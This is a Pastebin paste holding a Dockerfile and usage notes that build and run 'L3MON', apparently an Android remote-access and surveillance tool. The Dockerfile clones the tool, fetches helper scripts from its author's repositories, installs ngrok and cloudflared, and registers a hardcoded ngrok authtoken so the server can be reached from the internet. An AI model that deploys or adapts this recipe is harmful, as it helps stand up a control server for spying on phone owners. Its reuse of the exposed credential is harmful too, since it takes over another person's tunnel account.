Advertisement
efxtv

L3MON Docker File

Jun 30th, 2024 (edited)
290
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.36 KB | Cybersecurity | 0 0
  1. # Use Alpine Linux as base image
  2. FROM node:18-alpine
  3.  
  4. # Install necessary packages using apk
  5. RUN apk update && apk add --no-cache \
  6. bash \
  7. git \
  8. wget \
  9. curl \
  10. nano \
  11. jq \
  12. openjdk8 \
  13. sudo \
  14. bind-tools \
  15. openssl \
  16. && rm -rf /var/cache/apk/*
  17.  
  18. # Clone the L3MON repository (this should be cached if the repo hasn't changed)
  19. RUN git clone https://github.com/efxtv/L3MON.git
  20.  
  21. # Set the working directory to /L3MON
  22. WORKDIR /L3MON
  23.  
  24. # Download package.json from the URL to the current working directory
  25. RUN wget https://raw.githubusercontent.com/efxtv/L3MON/refs/heads/main/package.json -O /L3MON/package.json
  26.  
  27. # Create a directory for ngrok and download it
  28. RUN mkdir ngrok && \
  29. cd ngrok && \
  30. wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz && \
  31. wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 && \
  32. tar xzf ngrok-v3-stable-linux-amd64.tgz && \
  33. rm ngrok-v3-stable-linux-amd64.tgz && \
  34. wget https://raw.githubusercontent.com/efxtv/EFX-Tv-Bookmarks/main/bin/ngrok/links.sh && \
  35. wget https://raw.githubusercontent.com/efxtv/EFX-Tv-Bookmarks/main/bin/ngrok/password.sh && \
  36. ./ngrok config add-authtoken 27comcssAkM1oLFnACC1WVPDWlA_37JXWV5qATSYaTXgfqB45
  37.  
  38. # Download ngrok configuration file
  39. RUN mkdir -p /root/.config/ngrok && \
  40. wget -O /root/.config/ngrok/ngrok.yml https://raw.githubusercontent.com/efxtv/EFX-Tv-Bookmarks/main/bin/ngrok/ngrok.yml
  41.  
  42. # Install PM2 globally
  43. RUN npm install pm2 -g
  44.  
  45. # Install Node.js dependencies (cached by Docker if package.json is unchanged)
  46. RUN npm install || true
  47.  
  48. # Run npm audit and fix vulnerabilities (caching npm install means this won't run unnecessarily)
  49. RUN npm audit || true
  50. RUN npm audit fix || true
  51.  
  52. # Expose the required port
  53. EXPOSE 22533
  54.  
  55. # Start the application using PM2 when the container is started
  56. CMD ["pm2-runtime", "index.js"]
  57.  
  58. # -----------------------------------How to use --------------------------------------
  59.  
  60. # Build a Docker image named "l3mon-image" from the current directory.
  61. #--docker build -t l3mon-image .
  62.  
  63. # Run a container named "l3mon-container" from the "l3mon-image" image, mapping ports 22533 and 22222 on the host to the same ports in the container.
  64. #--docker run -d -p 22533:22533 -p 22222:22222 --name l3mon-container l3mon-image
  65.  
  66. # Access the running container's shell for interactive use.
  67. #--docker exec -it l3mon-container /bin/bash
  68.  
  69. # List container ID
  70. #--docker ps
  71. #--docker ps -a
  72.  
  73. # Stop a running Docker container, use the following command
  74. #--docker stop [container_name_or_id]
  75.  
  76. # Delete a Docker container
  77. #--docker rm [container_name_or_id]
  78.  
  79. # To forcefully remove a running container, add the -f flag
  80. #--docker rm -f [container_name_or_id]
  81.  
  82. # Delete a Docker image
  83. #--docker rmi [image_name_or_id]
  84.  
  85. # To forcefully remove an image (even if it has dependent containers), add the -f flag
  86. #--docker rmi -f [image_name_or_id]
  87.  
  88. # List docker images
  89. #--docker images
  90.  
  91. # Delete Docker Images
  92. #--docker rmi [image_name_or_id]
  93.  
  94. # Forcefully delete an image
  95. #--docker rmi -f [image_name_or_id]
  96.  
  97. # Delete multiple images
  98. #--docker rmi [image_id1] [image_id2] [image_id3]
  99.  
  100. # Delete all unused images
  101. #--docker image prune
  102.  
  103. # To remove all images, including those that are still in use, you can use
  104. #--docker image prune -a
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement